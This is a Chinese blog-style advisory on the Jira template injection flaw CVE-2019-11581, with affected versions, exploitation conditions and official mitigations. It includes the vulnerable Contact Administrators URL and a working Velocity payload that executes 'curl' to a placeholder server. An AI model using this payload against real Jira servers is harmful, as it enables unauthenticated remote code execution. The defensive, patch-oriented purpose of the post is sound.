JIRA服务器模板注入漏洞 (CVE-2019-11581)
0x00 前言
https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html
JIRA官方发布安全通告修复了一个服务器端的模板注入漏洞(CVE-2019-11581),影响Jira Server和Jira Data Center。成功利用该漏洞的攻击者可以在受影响服务器上远程执行代码
我司也有用相关产品,所以马上查看了一下是否影响
0x01 Jira简介
JIRA是Atlassian公司出品的项目与事务跟踪工具,被广泛应用于缺陷跟踪、客户服务、需求收集、流程审批、任务跟踪、项目跟踪和敏捷管理等工作领域。
0x02 漏洞危害
成功利用此漏洞的攻击者可对运行受影响版本的Jira Server或Jira Data Center的服务器执行任意命令,从而获取服务器权限,反正干什么都行了
受影响的Jira Server和Jira数据中心版本 | 4.4.x
5.x.x 6.x.x 7.0.x 7.1.x 7.2.x 7.3.x 7.4.x 7.5.x 7.6.14之前的7.6.x版本(7.6.x的固定版本) 7.7.x 7.8.x 7.9.x 7.10.x 7.11.x 7.12.x 7.13.5之前的7.13.x版本(7.13.x的固定版本) 8.0.3之前的8.0.x版本(8.0.x的固定版本) 8.1.2之前的8.1.x版本(8.1.x的固定版本) 8.2.3之前的8.2.x版本(8.2.x的固定版本) |
---|---|
修复了Jira Server和Jira数据中心版本 | 7.6.147. |
0x03 漏洞检测
这个漏洞触发的条件有点mean,通常都不会开启相关配置。按我的排查我们是使用了默认配置的。
要使此漏洞可以被利用,必须至少满足以下条件之一:
- 已在Jira中配置SMTP服务器并启用了联系人管理员(Contact Administrators Form)表单;
- 已在Jira中配置SMTP服务器,并且攻击者具有“JIRA管理员”(JIRA Administrators)访问权限。
在第一种情况下,启用了“联系人管理员表单”,攻击者无需身份验证即可利用此问题。(如果jira上没有ACL,防火墙做限制)
在第二种情况下,具有“JIRA管理员”访问权限的攻击者可以利用此问题。
在任何一种情况下,成功利用此问题都允许攻击者在运行易受攻击版本的Jira Server或数据中心的系统上远程执行代码。
可以通过以下URL访问“联系管理员”功能:
HTTPS://jiraserver/secure/ContactAdministrators!default.jspa
如图:
如果是从前端进去的话,
相关payload
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl 你的服务器地址').waitFor()
0x04 修复方案
Jira官方已经发布了新版本修复了上述漏洞,受影响用户请尽快升级进行防护:
1、更新JIRA版本至8.2.3、8.1.2、8.0.3、7.13.5、7.6.14中的任一版本
8.2.3下载链接:
https://www.atlassian.com/software/jira/download
8.1.2下载链接:
https://www.atlassian.com/software/jira/update
8.0.3下载链接:
https://www.atlassian.com/software/jira/update
7.13.5下载链接:
https://www.atlassian.com/software/jira/update
7.6.14下载链接:
https://www.atlassian.com/software/jira/update
2、禁用联系人管理员表单。
3、通过直接拒绝反向代理,负载均衡器或Tomcat中的访问来实现阻止/secure/admin/SendBulkMail!default.jspa 访问端点。
同时Jira官方也给出了临时措施用来进行防护:
- 禁用 Contact Administrators Form
- 禁止访问 /secure/admin/SendBulkMail!default.jspa,可参考https://confluence.atlassian.com/kb/how-to-block-access-to-a-specific-url-at-tomcat-966668691.html进行操作。
请立即在Jira中关闭联系人管理员表单。虽然Jira在默认情况下出现此功能,但是如果您是Jira管理员,则可以检查以确保它已被禁用
- 选择 设置 > 系统。
- 选择“ 常规配置” 以打开“管理”页面。
- 单击“ 编辑设置” 按钮
- 向下滚动到“ 联系人管理员表单”,然后选择“关闭”
- 滚动到页面底部,然后单击“ 更新”按钮以使此设置生效。
参考链接:https://bithack.io/forum/405
https://www.freebuf.com/vuls/208365.html